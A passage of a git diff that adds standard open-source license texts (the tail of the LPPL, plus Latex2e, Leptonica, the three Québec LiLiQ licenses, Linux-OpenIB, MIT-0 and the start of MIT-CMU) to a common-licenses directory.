+ a. A Derived Work may be distributed under a different license provided that license itself honors the conditions listed in Clause 6 above, in regard to the Work, though it does not have to honor the rest of the conditions in this license.
+
+ b. If a Derived Work is distributed under this license, that Derived Work must provide sufficient documentation as part of itself to allow each recipient of that Derived Work to honor the restrictions in Clause 6 above, concerning changes from the Work.
+
+11. This license places no restrictions on works that are unrelated to the Work, nor does this license place any restrictions on aggregating such works with the Work by any means.
+
+12. Nothing in this license is intended to, or may be used to, prevent complete compliance by all parties with all applicable laws.
+
+NO WARRANTY
+===========
+
+There is no warranty for the Work. Except when otherwise stated in writing, the Copyright Holder provides the Work `as is', without warranty of any kind, either expressed or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. The entire risk as to the quality and performance of the Work is with you. Should the Work prove defective, you assume the cost of all necessary servicing, repair, or correction.
+
+In no event unless required by applicable law or agreed to in writing will The Copyright Holder, or any author named in the components of the Work, or any other party who may distribute and/or modify the Work as permitted above, be liable to you for damages, including any general, special, incidental or consequential damages arising out of any use of the Work or out of inability to use the Work (including, but not limited to, loss of data, data being rendered inaccurate, or losses sustained by anyone as a result of any failure of the Work to operate with any other programs), even if the Copyright Holder or said author or said other party has been advised of the possibility of such damages.
+
+MAINTENANCE OF THE WORK
+=======================
+
+The Work has the status `author-maintained' if the Copyright Holder explicitly and prominently states near the primary copyright notice in the Work that the Work can only be maintained by the Copyright Holder or simply that is `author-maintained'.
+
+The Work has the status `maintained' if there is a Current Maintainer who has indicated in the Work that they are willing to receive error reports for the Work (for example, by supplying a valid e-mail address). It is not required for the Current Maintainer to acknowledge or act upon these error reports.
+
+The Work changes from status `maintained' to `unmaintained' if there is no Current Maintainer, or the person stated to be Current Maintainer of the work cannot be reached through the indicated means of communication for a period of six months, and there are no other significant signs of active maintenance.
+
+You can become the Current Maintainer of the Work by agreement with any existing Current Maintainer to take over this role.
+
+If the Work is unmaintained, you can become the Current Maintainer of the Work through the following steps:
+
+ 1. Make a reasonable attempt to trace the Current Maintainer (and the Copyright Holder, if the two differ) through the means of an Internet or similar search.
+
+ 2. If this search is successful, then enquire whether the Work is still maintained.
+
+ a. If it is being maintained, then ask the Current Maintainer to update their communication data within one month.
+
+ b. If the search is unsuccessful or no action to resume active maintenance is taken by the Current Maintainer, then announce within the pertinent community your intention to take over maintenance. (If the Work is a LaTeX work, this could be done, for example, by posting to comp.text.tex.)
+
+ 3a. If the Current Maintainer is reachable and agrees to pass maintenance of the Work to you, then this takes effect immediately upon announcement.
+
+ b. If the Current Maintainer is not reachable and the Copyright Holder agrees that maintenance of the Work be passed to you, then this takes effect immediately upon announcement.
+
+ 4. If you make an `intention announcement' as described in 2b. above and after three months your intention is challenged neither by the Current Maintainer nor by the Copyright Holder nor by other people, then you may arrange for the Work to be changed so as to name you as the (new) Current Maintainer.
+
+ 5. If the previously unreachable Current Maintainer becomes reachable once more within three months of a change completed under the terms of 3b) or 4), then that Current Maintainer must become or remain the Current Maintainer upon request provided they then update their communication data within one month.
+
+A change in the Current Maintainer does not, of itself, alter the fact that the Work is distributed under the LPPL license.
+
+If you become the Current Maintainer of the Work, you should immediately provide, within the Work, a prominent and unambiguous statement of your status as Current Maintainer. You should also announce your new status to the same pertinent community as in 2b) above.
+
+WHETHER AND HOW TO DISTRIBUTE WORKS UNDER THIS LICENSE
+======================================================
+
+This section contains important instructions, examples, and recommendations for authors who are considering distributing their works under this license. These authors are addressed as `you' in this section.
+
+Choosing This License or Another License
+----------------------------------------
+
+If for any part of your work you want or need to use *distribution* conditions that differ significantly from those in this license, then do not refer to this license anywhere in your work but, instead, distribute your work under a different license. You may use the text of this license as a model for your own license, but your license should not refer to the LPPL or otherwise give the impression that your work is distributed under the LPPL.
+
+The document `modguide.tex' in the base LaTeX distribution explains the motivation behind the conditions of this license. It explains, for example, why distributing LaTeX under the GNU General Public License (GPL) was considered inappropriate. Even if your work is unrelated to LaTeX, the discussion in `modguide.tex' may still be relevant, and authors intending to distribute their works under any license are encouraged to read it.
+
+A Recommendation on Modification Without Distribution
+-----------------------------------------------------
+
+It is wise never to modify a component of the Work, even for your own personal use, without also meeting the above conditions for distributing the modified component. While you might intend that such modifications will never be distributed, often this will happen by accident -- you may forget that you have modified that component; or it may not occur to you when allowing others to access the modified version that you are thus distributing it and violating the conditions of this license in ways that could have legal implications and, worse, cause problems for the community. It is therefore usually in your best interest to keep your copy of the Work identical with the public one. Many works provide ways to control the behavior of that work without altering any of its licensed components.
+
+How to Use This License
+-----------------------
+
+To use this license, place in each of the components of your work both an explicit copyright notice including your name and the year the work was authored and/or last substantially modified. Include also a statement that the distribution and/or modification of that component is constrained by the conditions in this license.
+
+Here is an example of such a notice and statement:
+
+ %% pig.dtx
+ %% Copyright 2003 M. Y. Name
+ %
+ % This work may be distributed and/or modified under the
+ % conditions of the LaTeX Project Public License, either version 1.3
+ % of this license or (at your option) any later version.
+ % The latest version of this license is in
+ % http://www.latex-project.org/lppl.txt
+ % and version 1.3 or later is part of all distributions of LaTeX
+ % version 2003/12/01 or later.
+ %
+ % This work has the LPPL maintenance status "maintained".
+ %
+ % This Current Maintainer of this work is M. Y. Name.
+ %
+ % This work consists of the files pig.dtx and pig.ins % and the derived file pig.sty.
+
+Given such a notice and statement in a file, the conditions given in this license document would apply, with the `Work' referring to the three files `pig.dtx', `pig.ins', and `pig.sty' (the last being generated from `pig.dtx' using `pig.ins'), the `Base Interpreter' referring to any "LaTeX-Format", and both `Copyright Holder' and `Current Maintainer' referring to the person `M. Y. Name'.
+
+If you do not want the Maintenance section of LPPL to apply to your Work, change "maintained" above into "author-maintained". However, we recommend that you use "maintained" as the Maintenance section was added in order to ensure that your Work remains useful to the community even when you can no longer maintain and support it yourself.
+
+Important Recommendations
+-------------------------
+
+Defining What Constitutes the Work
+
+The LPPL requires that distributions of the Work contain all the files of the Work. It is therefore important that you provide a way for the licensee to determine which files constitute the Work. This could, for example, be achieved by explicitly listing all the files of the Work near the copyright notice of each file or by using a line such as:
+
+ % This work consists of all files listed in manifest.txt.
+
+in that place. In the absence of an unequivocal list it might be impossible for the licensee to determine what is considered by you to comprise the Work and, in such a case, the licensee would be entitled to make reasonable conjectures as to which files comprise the Work.
diff --git a/meta/files/common-licenses/Latex2e b/meta/files/common-licenses/Latex2e
new file mode 100644
index 0000000000..2ce86bed0e
--- /dev/null
+++ b/meta/files/common-licenses/Latex2e
@@ -0,0 +1,9 @@
+Copyright (C) 2007, 2008, 2009, 2010 Karl Berry.
+Copyright (C) 1988, 1994, 2007 Stephen Gilmore.
+Copyright (C) 1994, 1995, 1996 Torsten Martinsen.
+
+Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.
+
+Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.
+
+Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions.
diff --git a/meta/files/common-licenses/Leptonica b/meta/files/common-licenses/Leptonica
new file mode 100644
index 0000000000..9bc67e6ca8
--- /dev/null
+++ b/meta/files/common-licenses/Leptonica
@@ -0,0 +1,9 @@
+Copyright (C) 2001 Leptonica. All rights reserved.
+
+This software is distributed in the hope that it will be useful, but with NO WARRANTY OF ANY KIND.
+
+No author or distributor accepts responsibility to anyone for the consequences of using this software, or for whether it serves any particular purpose or works at all, unless he or she says so in writing. Everyone is granted permission to copy, modify and redistribute this source code, for commercial or non-commercial purposes, with the following restrictions:
+
+(1) the origin of this source code must not be misrepresented;
+(2) modified versions must be plainly marked as such; and
+(3) this notice may not be removed or altered from any source or modified source distribution.
diff --git a/meta/files/common-licenses/LiLiQ-P-1.1 b/meta/files/common-licenses/LiLiQ-P-1.1
new file mode 100644
index 0000000000..594cc742e0
--- /dev/null
+++ b/meta/files/common-licenses/LiLiQ-P-1.1
@@ -0,0 +1,70 @@
+Licence Libre du Québec – Permissive (LiLiQ-P)
+
+Version 1.1
+
+1. Préambule
+Cette licence s'applique à tout logiciel distribué dont le titulaire du droit d'auteur précise qu'il est sujet aux termes de la Licence Libre du Québec – Permissive (LiLiQ-P) (ci-après appelée la « licence »).
+
+2. Définitions
+Dans la présente licence, à moins que le contexte n'indique un sens différent, on entend par:
+
+ « concédant » : le titulaire du droit d'auteur sur le logiciel, ou toute personne dûment autorisée par ce dernier à accorder la présente licence;
+ « contributeur » : le titulaire du droit d'auteur ou toute personne autorisée par ce dernier à soumettre au concédant une contribution. Un contributeur dont sa contribution est incorporée au logiciel est considéré comme un concédant en regard de sa contribution;
+ « contribution » : tout logiciel original, ou partie de logiciel original soumis et destiné à être incorporé dans le logiciel;
+ « distribution » : le fait de délivrer une copie du logiciel;
+ « licencié » : toute personne qui possède une copie du logiciel et qui exerce les droits concédés par la licence;
+ « logiciel » : une œuvre protégée par le droit d'auteur, telle qu'un programme d'ordinateur et sa documentation, pour laquelle le titulaire du droit d'auteur a précisé qu'elle est sujette aux termes de la présente licence;
+ « logiciel dérivé » : tout logiciel original réalisé par un licencié, autre que le logiciel ou un logiciel modifié, qui produit ou reproduit la totalité ou une partie importante du logiciel;
+ « logiciel modifié » : toute modification par un licencié de l'un des fichiers source du logiciel ou encore tout nouveau fichier source qui incorpore le logiciel ou une partie importante de ce dernier.
+
+3. Licence de droit d'auteur
+Sous réserve des termes de la licence, le concédant accorde au licencié une licence non exclusive et libre de redevances lui permettant d’exercer les droits suivants sur le logiciel :
+
+ 1 Produire ou reproduire la totalité ou une partie importante;
+ 2 Exécuter ou représenter la totalité ou une partie importante en public;
+ 3 Publier la totalité ou une partie importante;
+ 4 Sous-licencier sous une autre licence libre, approuvée ou certifiée par la Free Software Foundation ou l'Open Source Initiative.
+
+Cette licence est accordée sans limite territoriale et sans limite de temps.
+
+L'exercice complet de ces droits est sujet à la distribution par le concédant du code source du logiciel, lequel doit être sous une forme permettant d'y apporter des modifications. Le concédant peut aussi distribuer le logiciel accompagné d'une offre de distribuer le code source du logiciel, sans frais supplémentaires, autres que ceux raisonnables afin de permettre la livraison du code source. Cette offre doit être valide pendant une durée raisonnable.
+
+4. Distribution
+Le licencié peut distribuer des copies du logiciel, d'un logiciel modifié ou dérivé, sous réserve de respecter les conditions suivantes :
+
+ 1 Le logiciel doit être accompagné d'un exemplaire de cette licence;
+ 2 Si le logiciel a été modifié, le licencié doit en faire la mention, de préférence dans chacun des fichiers modifiés dont la nature permet une telle mention;
+ 3 Les étiquettes ou mentions faisant état des droits d'auteur, des marques de commerce, des garanties ou de la paternité concernant le logiciel ne doivent pas être modifiées ou supprimées, à moins que ces étiquettes ou mentions ne soient inapplicables à un logiciel modifié ou dérivé donné.
+
+5. Contributions
+Sous réserve d'une entente distincte, toute contribution soumise par un contributeur au concédant pour inclusion dans le logiciel sera soumise aux termes de cette licence.
+
+6. Marques de commerce
+La licence n'accorde aucune permission particulière qui permettrait d'utiliser les marques de commerce du concédant, autre que celle requise permettant d'identifier la provenance du logiciel.
+
+7. Garanties
+Sauf mention contraire, le concédant distribue le logiciel sans aucune garantie, aux risques et périls de l'acquéreur de la copie du logiciel, et ce, sans assurer que le logiciel puisse répondre à un besoin particulier ou puisse donner un résultat quelconque.
+
+Sans lier le concédant d'une quelconque manière, rien n'empêche un licencié d'offrir ou d'exclure des garanties ou du support.
+
+8. Responsabilité
+Le licencié est responsable de tout préjudice résultant de l'exercice des droits accordés par la licence.
+
+Le concédant ne saurait être tenu responsable de dommages subis par le licencié ou par des tiers, pour quelque cause que ce soit en lien avec la licence et les droits qui y sont accordés.
+
+9. Résiliation
+La présente licence est automatiquement résiliée dès que les droits qui y sont accordés ne sont pas exercés conformément aux termes qui y sont stipulés.
+
+Toutefois, si le défaut est corrigé dans un délai de 30 jours de sa prise de connaissance par la personne en défaut, et qu'il s'agit du premier défaut, la licence est accordée de nouveau.
+
+Pour tout défaut subséquent, le consentement exprès du concédant est nécessaire afin que la licence soit accordée de nouveau.
+
+10. Version de la licence
+Le Centre de services partagés du Québec, ses ayants cause ou toute personne qu'il désigne, peuvent diffuser des versions révisées ou modifiées de cette licence. Chaque version recevra un numéro unique. Si un logiciel est déjà soumis aux termes d'une version spécifique, c'est seulement cette version qui liera les parties à la licence.
+
+Le concédant peut aussi choisir de concéder la licence sous la version actuelle ou toute version ultérieure, auquel cas le licencié peut choisir sous quelle version la licence lui est accordée.
+
+11. Divers
+Dans la mesure où le concédant est un ministère, un organisme public ou une personne morale de droit public, créés en vertu d'une loi de l'Assemblée nationale du Québec, la licence est régie par le droit applicable au Québec et en cas de contestation, les tribunaux du Québec seront seuls compétents.
+
+La présente licence peut être distribuée sans conditions particulières. Toutefois, une version modifiée doit être distribuée sous un nom différent. Toute référence au Centre de services partagés du Québec, et, le cas échéant, ses ayant cause, doit être retirée, autre que celle permettant d'identifier la provenance de la licence.
diff --git a/meta/files/common-licenses/LiLiQ-R-1.1 b/meta/files/common-licenses/LiLiQ-R-1.1
new file mode 100644
index 0000000000..449febd599
--- /dev/null
+++ b/meta/files/common-licenses/LiLiQ-R-1.1
@@ -0,0 +1,94 @@
+Licence Libre du Québec – Réciprocité (LiLiQ-R)
+
+Version 1.1
+
+1. Préambule
+Cette licence s'applique à tout logiciel distribué dont le titulaire du droit d'auteur précise qu'il est sujet aux termes de la Licence Libre du Québec – Réciprocité (LiLiQ-R) (ci-après appelée la « licence »).
+
+2. Définitions
+Dans la présente licence, à moins que le contexte n'indique un sens différent, on entend par:
+
+ « concédant » : le titulaire du droit d'auteur sur le logiciel, ou toute personne dûment autorisée par ce dernier à accorder la présente licence;
+ « contributeur » : le titulaire du droit d'auteur ou toute personne autorisée par ce dernier à soumettre au concédant une contribution. Un contributeur dont sa contribution est incorporée au logiciel est considéré comme un concédant en regard de sa contribution;
+ « contribution » : tout logiciel original, ou partie de logiciel original soumis et destiné à être incorporé dans le logiciel;
+ « distribution » : le fait de délivrer une copie du logiciel;
+ « licencié » : toute personne qui possède une copie du logiciel et qui exerce les droits concédés par la licence;
+ « logiciel » : une œuvre protégée par le droit d'auteur, telle qu'un programme d'ordinateur et sa documentation, pour laquelle le titulaire du droit d'auteur a précisé qu'elle est sujette aux termes de la présente licence;
+ « logiciel dérivé » : tout logiciel original réalisé par un licencié, autre que le logiciel ou un logiciel modifié, qui produit ou reproduit la totalité ou une partie importante du logiciel;
+ « logiciel modifié » : toute modification par un licencié de l'un des fichiers source du logiciel ou encore tout nouveau fichier source qui incorpore le logiciel ou une partie importante de ce dernier.
+
+3. Licence de droit d'auteur
+Sous réserve des termes de la licence, le concédant accorde au licencié une licence non exclusive et libre de redevances lui permettant d’exercer les droits suivants sur le logiciel :
+
+ 1 Produire ou reproduire la totalité ou une partie importante;
+ 2 Exécuter ou représenter la totalité ou une partie importante en public;
+ 3 Publier la totalité ou une partie importante.
+
+Cette licence est accordée sans limite territoriale et sans limite de temps.
+
+L'exercice complet de ces droits est sujet à la distribution par le concédant du code source du logiciel, lequel doit être sous une forme permettant d'y apporter des modifications. Le concédant peut aussi distribuer le logiciel accompagné d'une offre de distribuer le code source du logiciel, sans frais supplémentaires, autres que ceux raisonnables afin de permettre la livraison du code source. Cette offre doit être valide pendant une durée raisonnable.
+
+4. Distribution
+Le licencié peut distribuer des copies du logiciel, d'un logiciel modifié ou dérivé, sous réserve de respecter les conditions suivantes :
+
+ 1 Le logiciel doit être accompagné d'un exemplaire de cette licence;
+ 2 Si le logiciel a été modifié, le licencié doit en faire la mention, de préférence dans chacun des fichiers modifiés dont la nature permet une telle mention;
+ 3 Les étiquettes ou mentions faisant état des droits d'auteur, des marques de commerce, des garanties ou de la paternité concernant le logiciel ne doivent pas être modifiées ou supprimées, à moins que ces étiquettes ou mentions ne soient inapplicables à un logiciel modifié ou dérivé donné.
+
+4.1. Réciprocité
+Chaque fois que le licencié distribue le logiciel, le concédant offre au récipiendaire une concession sur le logiciel selon les termes de la présente licence. Le licencié doit offrir une concession selon les termes de la présente licence pour tout logiciel modifié qu'il distribue.
+
+Chaque fois que le licencié distribue le logiciel ou un logiciel modifié, ce dernier doit assumer l'obligation d'en distribuer le code source, de la manière prévue au troisième alinéa de l'article 3.
+
+4.2. Compatibilité
+Dans la mesure où le licencié souhaite distribuer un logiciel modifié combiné à un logiciel assujetti à une licence compatible, mais dont il ne serait pas possible d'en respecter les termes, le concédant offre, en plus de la présente concession, une concession selon les termes de cette licence compatible.
+
+Un licencié qui est titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible ne peut pas se prévaloir de cette offre. Il en est de même pour toute autre personne dûment autorisée à sous-licencier par le titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible.
+
+Est considérée comme une licence compatible toute licence libre approuvée ou certifiée par la Free Software Foundation ou l'Open Source Initiative, dont le niveau de réciprocité est comparable ou supérieur à celui de la présente licence, sans toutefois être moindre, notamment :
+
+ 1 Common Development and Distribution License (CDDL-1.0)
+ 2 Common Public License Version 1.0 (CPL-1.0)
+ 3 Contrat de licence de logiciel libre CeCILL, version 2.1 (CECILL-2.1)
+ 4 Contrat de licence de logiciel libre CeCILL-C (CECILL-C)
+ 5 Eclipse Public License - v 1.0 (EPL-1.0)
+ 6 European Union Public License, version 1.1 (EUPL v. 1.1)
+ 7 Licence Libre du Québec – Réciprocité forte version 1.1 (LiLiQ-R+ 1.1)
+ 8 GNU General Public License Version 2 (GNU GPLv2)
+ 9 GNU General Public License Version 3 (GNU GPLv3)
+ 10 GNU Lesser General Public License Version 2.1 (GNU LGPLv2.1)
+ 11 GNU Lesser General Public License Version 3 (GNU LGPLv3)
+ 12 Mozilla Public License Version 2.0 (MPL-2.0)
+
+5. Contributions
+Sous réserve d'une entente distincte, toute contribution soumise par un contributeur au concédant pour inclusion dans le logiciel sera soumise aux termes de cette licence.
+
+6. Marques de commerce
+La licence n'accorde aucune permission particulière qui permettrait d'utiliser les marques de commerce du concédant, autre que celle requise permettant d'identifier la provenance du logiciel.
+
+7. Garanties
+Sauf mention contraire, le concédant distribue le logiciel sans aucune garantie, aux risques et périls de l'acquéreur de la copie du logiciel, et ce, sans assurer que le logiciel puisse répondre à un besoin particulier ou puisse donner un résultat quelconque.
+
+Sans lier le concédant d'une quelconque manière, rien n'empêche un licencié d'offrir ou d'exclure des garanties ou du support.
+
+8. Responsabilité
+Le licencié est responsable de tout préjudice résultant de l'exercice des droits accordés par la licence.
+
+Le concédant ne saurait être tenu responsable du préjudice subi par le licencié ou par des tiers, pour quelque cause que ce soit en lien avec la licence et les droits qui y sont accordés.
+
+9. Résiliation
+La présente licence est résiliée de plein droit dès que les droits qui y sont accordés ne sont pas exercés conformément aux termes qui y sont stipulés.
+
+Toutefois, si le défaut est corrigé dans un délai de 30 jours de sa prise de connaissance par la personne en défaut, et qu'il s'agit du premier défaut, la licence est accordée de nouveau.
+
+Pour tout défaut subséquent, le consentement exprès du concédant est nécessaire afin que la licence soit accordée de nouveau.
+
+10. Version de la licence
+Le Centre de services partagés du Québec, ses ayants cause ou toute personne qu'il désigne, peuvent diffuser des versions révisées ou modifiées de cette licence. Chaque version recevra un numéro unique. Si un logiciel est déjà soumis aux termes d'une version spécifique, c'est seulement cette version qui liera les parties à la licence.
+
+Le concédant peut aussi choisir de concéder la licence sous la version actuelle ou toute version ultérieure, auquel cas le licencié peut choisir sous quelle version la licence lui est accordée.
+
+11. Divers
+Dans la mesure où le concédant est un ministère, un organisme public ou une personne morale de droit public, créés en vertu d'une loi de l'Assemblée nationale du Québec, la licence est régie par le droit applicable au Québec et en cas de contestation, les tribunaux du Québec seront seuls compétents.
+
+La présente licence peut être distribuée sans conditions particulières. Toutefois, une version modifiée doit être distribuée sous un nom différent. Toute référence au Centre de services partagés du Québec, et, le cas échéant, ses ayant droit, doit être retirée, autre que celle permettant d'identifier la provenance de la licence.
diff --git a/meta/files/common-licenses/LiLiQ-Rplus-1.1 b/meta/files/common-licenses/LiLiQ-Rplus-1.1
new file mode 100644
index 0000000000..58566cb1bb
--- /dev/null
+++ b/meta/files/common-licenses/LiLiQ-Rplus-1.1
@@ -0,0 +1,88 @@
+Licence Libre du Québec – Réciprocité forte (LiLiQ-R+)
+
+Version 1.1
+
+1. Préambule
+Cette licence s'applique à tout logiciel distribué dont le titulaire du droit d'auteur précise qu'il est sujet aux termes de la Licence Libre du Québec – Réciprocité forte (LiLiQ-R+) (ci-après appelée la « licence »).
+
+2. Définitions
+Dans la présente licence, à moins que le contexte n'indique un sens différent, on entend par:
+
+ « concédant » : le titulaire du droit d'auteur sur le logiciel, ou toute personne dûment autorisée par ce dernier à accorder la présente licence;
+ « contributeur » : le titulaire du droit d'auteur ou toute personne autorisée par ce dernier à soumettre au concédant une contribution. Un contributeur dont sa contribution est incorporée au logiciel est considéré comme un concédant en regard de sa contribution;
+ « contribution » : tout logiciel original, ou partie de logiciel original soumis et destiné à être incorporé dans le logiciel;
+ « distribution » : le fait de délivrer une copie du logiciel;
+ « licencié » : toute personne qui possède une copie du logiciel et qui exerce les droits concédés par la licence;
+ « logiciel » : une œuvre protégée par le droit d'auteur, telle qu'un programme d'ordinateur et sa documentation, pour laquelle le titulaire du droit d'auteur a précisé qu'elle est sujette aux termes de la présente licence;
+ « logiciel dérivé » : tout logiciel original réalisé par un licencié, autre que le logiciel ou un logiciel modifié, qui produit ou reproduit la totalité ou une partie importante du logiciel;
+ « logiciel modifié » : toute modification par un licencié de l'un des fichiers source du logiciel ou encore tout nouveau fichier source qui incorpore le logiciel ou une partie importante de ce dernier.
+
+3. Licence de droit d'auteur
+Sous réserve des termes de la licence, le concédant accorde au licencié une licence non exclusive et libre de redevances lui permettant d’exercer les droits suivants sur le logiciel :
+
+ 1 Produire ou reproduire la totalité ou une partie importante;
+ 2 Exécuter ou représenter la totalité ou une partie importante en public;
+ 3 Publier la totalité ou une partie importante.
+
+Cette licence est accordée sans limite territoriale et sans limite de temps.
+
+L'exercice complet de ces droits est sujet à la distribution par le concédant du code source du logiciel, lequel doit être sous une forme permettant d'y apporter des modifications. Le concédant peut aussi distribuer le logiciel accompagné d'une offre de distribuer le code source du logiciel, sans frais supplémentaires, autres que ceux raisonnables afin de permettre la livraison du code source. Cette offre doit être valide pendant une durée raisonnable.
+
+4. Distribution
+Le licencié peut distribuer des copies du logiciel, d'un logiciel modifié ou dérivé, sous réserve de respecter les conditions suivantes :
+
+ 1 Le logiciel doit être accompagné d'un exemplaire de cette licence;
+ 2 Si le logiciel a été modifié, le licencié doit en faire la mention, de préférence dans chacun des fichiers modifiés dont la nature permet une telle mention;
+ 3 Les étiquettes ou mentions faisant état des droits d'auteur, des marques de commerce, des garanties ou de la paternité concernant le logiciel ne doivent pas être modifiées ou supprimées, à moins que ces étiquettes ou mentions ne soient inapplicables à un logiciel modifié ou dérivé donné.
+
+4.1. Réciprocité
+Chaque fois que le licencié distribue le logiciel, le concédant offre au récipiendaire une concession sur le logiciel selon les termes de la présente licence. Le licencié doit offrir une concession selon les termes de la présente licence pour tout logiciel modifié ou dérivé qu'il distribue.
+
+Chaque fois que le licencié distribue le logiciel, un logiciel modifié, ou un logiciel dérivé, ce dernier doit assumer l'obligation d'en distribuer le code source, de la manière prévue au troisième alinéa de l'article 3.
+
+4.2. Compatibilité
+Dans la mesure où le licencié souhaite distribuer un logiciel modifié ou dérivé combiné à un logiciel assujetti à une licence compatible, mais dont il ne serait pas possible d'en respecter les termes, le concédant offre, en plus de la présente concession, une concession selon les termes de cette licence compatible.
+
+Un licencié qui est titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible ne peut pas se prévaloir de cette offre. Il en est de même pour toute autre personne dûment autorisée à sous-licencier par le titulaire exclusif du droit d'auteur sur le logiciel assujetti à une licence compatible.
+
+Est considérée comme une licence compatible toute licence libre approuvée ou certifiée par la Free Software Foundation ou l'Open Source Initiative, dont le niveau de réciprocité est comparable à celui de la présente licence, sans toutefois être moindre, notamment :
+
+ 1 Common Public License Version 1.0 (CPL-1.0)
+ 2 Contrat de licence de logiciel libre CeCILL, version 2.1 (CECILL-2.1)
+ 3 Eclipse Public License - v 1.0 (EPL-1.0)
+ 4 European Union Public License, version 1.1 (EUPL v. 1.1)
+ 5 GNU General Public License Version 2 (GNU GPLv2)
+ 6 GNU General Public License Version 3 (GNU GPLv3)
+
+5. Contributions
+Sous réserve d'une entente distincte, toute contribution soumise par un contributeur au concédant pour inclusion dans le logiciel sera soumise aux termes de cette licence.
+
+6. Marques de commerce
+La licence n'accorde aucune permission particulière qui permettrait d'utiliser les marques de commerce du concédant, autre que celle requise permettant d'identifier la provenance du logiciel.
+
+7. Garanties
+Sauf mention contraire, le concédant distribue le logiciel sans aucune garantie, aux risques et périls de l'acquéreur de la copie du logiciel, et ce, sans assurer que le logiciel puisse répondre à un besoin particulier ou puisse donner un résultat quelconque.
+
+Sans lier le concédant d'une quelconque manière, rien n'empêche un licencié d'offrir ou d'exclure des garanties ou du support.
+
+8. Responsabilité
+Le licencié est responsable de tout préjudice résultant de l'exercice des droits accordés par la licence.
+
+Le concédant ne saurait être tenu responsable du préjudice subi par le licencié ou par des tiers, pour quelque cause que ce soit en lien avec la licence et les droits qui y sont accordés.
+
+9. Résiliation
+La présente licence est résiliée de plein droit dès que les droits qui y sont accordés ne sont pas exercés conformément aux termes qui y sont stipulés.
+
+Toutefois, si le défaut est corrigé dans un délai de 30 jours de sa prise de connaissance par la personne en défaut, et qu'il s'agit du premier défaut, la licence est accordée de nouveau.
+
+Pour tout défaut subséquent, le consentement exprès du concédant est nécessaire afin que la licence soit accordée de nouveau.
+
+10. Version de la licence
+Le Centre de services partagés du Québec, ses ayants cause ou toute personne qu'il désigne, peuvent diffuser des versions révisées ou modifiées de cette licence. Chaque version recevra un numéro unique. Si un logiciel est déjà soumis aux termes d'une version spécifique, c'est seulement cette version qui liera les parties à la licence.
+
+Le concédant peut aussi choisir de concéder la licence sous la version actuelle ou toute version ultérieure, auquel cas le licencié peut choisir sous quelle version la licence lui est accordée.
+
+11. Divers
+Dans la mesure où le concédant est un ministère, un organisme public ou une personne morale de droit public, créés en vertu d'une loi de l'Assemblée nationale du Québec, la licence est régie par le droit applicable au Québec et en cas de contestation, les tribunaux du Québec seront seuls compétents.
+
+La présente licence peut être distribuée sans conditions particulières. Toutefois, une version modifiée doit être distribuée sous un nom différent. Toute référence au Centre de services partagés du Québec, et, le cas échéant, ses ayant cause, doit être retirée, autre que celle permettant d'identifier la provenance de la licence.
diff --git a/meta/files/common-licenses/Linux-OpenIB b/meta/files/common-licenses/Linux-OpenIB
new file mode 100644
index 0000000000..03ccf61ccc
--- /dev/null
+++ b/meta/files/common-licenses/Linux-OpenIB
@@ -0,0 +1,18 @@
+Redistribution and use in source and binary forms, with or
+without modification, are permitted provided that the following
+conditions are met:
+
+- Redistributions of source code must retain the above copyright notice, this
+list of conditions and the following disclaimer.
+
+- Redistributions in binary form must reproduce the above copyright notice,
+this list of conditions and the following disclaimer in the documentation
+and/or other materials provided with the distribution.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-0 b/meta/files/common-licenses/MIT-0
new file mode 100644
index 0000000000..a4e9dc9061
--- /dev/null
+++ b/meta/files/common-licenses/MIT-0
@@ -0,0 +1,16 @@
+MIT No Attribution
+
+Copyright <YEAR> <COPYRIGHT HOLDER>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this
+software and associated documentation files (the "Software"), to deal in the Software
+without restriction, including without limitation the rights to use, copy, modify,
+merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
+PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/MIT-CMU b/meta/files/common-licenses/MIT-CMU
new file mode 100644
index 0000000000..2b11a7b08f
--- /dev/null
+++ b/meta/files/common-licenses/MIT-CMU
@@ -0,0 +1,7 @@
+<copyright notice>
+
+By obtaining, using, and/or copying this software and/or its associated documentation, you agree that you have read, understood, and will comply with the following terms and conditions:
+
+Permission to use, copy, modify, and distribute this software and its associated documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appears in all copies, and that both that copyright notice and this permission notice appear in supporting documentation, and that the name of the copyright holder not be used in advertising or publicity pertaining to distribution of the software without specific, written permission.
+
